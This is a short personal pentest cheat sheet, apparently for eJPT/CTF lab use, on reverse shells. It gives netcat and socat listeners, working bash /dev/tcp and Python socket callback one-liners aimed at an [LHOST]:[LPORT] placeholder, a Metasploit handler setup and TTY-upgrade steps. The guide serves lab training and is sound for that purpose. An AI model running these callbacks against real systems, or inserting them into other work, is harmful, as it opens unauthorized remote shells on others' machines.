

Reverse Shell & TTY Field Guide — Authorized Labs

Listeners, Linux callbacks, Metasploit handler concepts, TTY upgrade, and troubleshooting - without AV-bypass or obfuscation guidance.

» Abdullah Nasser Almsan – Personal Pentest Reference

Usage note: This contains callback commands. Use them only in eJPT/CTF/lab targets or systems you are explicitly authorized to test.

LHOST

Know your IP

LISTENER

Open the port

CALLBACK

Run the suitable callback

STABILIZE

TTY if needed

Contents

1. Concept
2. Listeners
3. Linux callbacks
4. Windows callbacks
5. TTY Upgrade on Linux
6. Troubleshooting
7. Workflow

1. Concept

A reverse shell means the target connects back to a listener you control inside the authorized lab.

Component	Meaning
Listener	Your system waits on LPORT.
Callback	The target connects to LHOST:LPORT.
Shell	Bash/sh/cmd/PowerShell depending on the target.
TTY upgrade	Improves an otherwise weak/non-interactive Linux shell.

Note: Choose the LHOST reachable from the target over the correct VPN/lab interface. Do not use these commands outside authorized scope.

2. Listeners

KALI TERMINAL — Netcat / Ncat

```
nc -lvnp [LPORT]
ncat -lvnp [LPORT]
```

KALI TERMINAL — Socat listener

```
socat TCP-LISTEN:[LPORT],reuseaddr,fork STDOUT
```

Socat can support more advanced terminal scenarios, but these examples stay focused on basic receiving.

3. Linux callbacks

Use only an interpreter that actually exists on the lab target.

AUTHORIZED LINUX LAB — Bash TCP

```
bash -c "bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1"
```

AUTHORIZED LINUX LAB — Python3

```
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("[LHOST]",[LPORT]));
[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
```

Check with command `-v bash python3 perl php` before assuming an interpreter exists.

4. Windows callbacks

For eJPT-style labs, a documented payload/handler workflow is usually preferable to copying a long PowerShell one-liner. Use Metasploit/MSFvenom when that is part of the authorized scenario. This guide intentionally avoids obfuscation and AV-evasion.

MSFCONSOLE — Handler concept

```
use exploit/multi/handler
set PAYLOAD [MATCHING_PAYLOAD]
set LHOST [LHOST]
set LPORT [LPORT]
run
```

5. TTY Upgrade on Linux

After a basic nc shell, arrows, Ctrl-C, and interactive programs may not work correctly.

REMOTE LINUX SHELL — Python PTY

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

REMOTE LINUX SHELL — Terminal vars

```
export TERM=xterm
stty rows 40 columns 120
```

Note: Do not blindly change stty settings when you do not understand the current terminal state. If terminal control is lost, recover carefully from the listener/local terminal.

6. Troubleshooting

Symptom	Check first
No connection	Wrong LHOST, firewall, route, or listener not running.
Connects then closes	Missing interpreter or unsuitable syntax.
No useful output	File-descriptor redirection or shell type does not match.
Commands behave strangely	You may be in a stateless web shell or non-interactive shell.

Use `ip a` and choose the correct VPN/lab address when multiple interfaces exist.

7. Workflow

AUTHORIZED LAB

- 1) `ip a` -> choose [LHOST]
- 2) `nc -lvnp [LPORT]`
- 3) Run a callback appropriate to the lab OS/tool
- 4) `whoami; pwd; uname -a`
- 5) TTY upgrade only if better interactivity is needed

Prepared as a quick-reference companion to the canonical Arabic guide. Use only in labs or systems you are explicitly authorized to test.

References:

Rapid7 Metasploit documentation

Python `pty` standard library

Ncat / Netcat manuals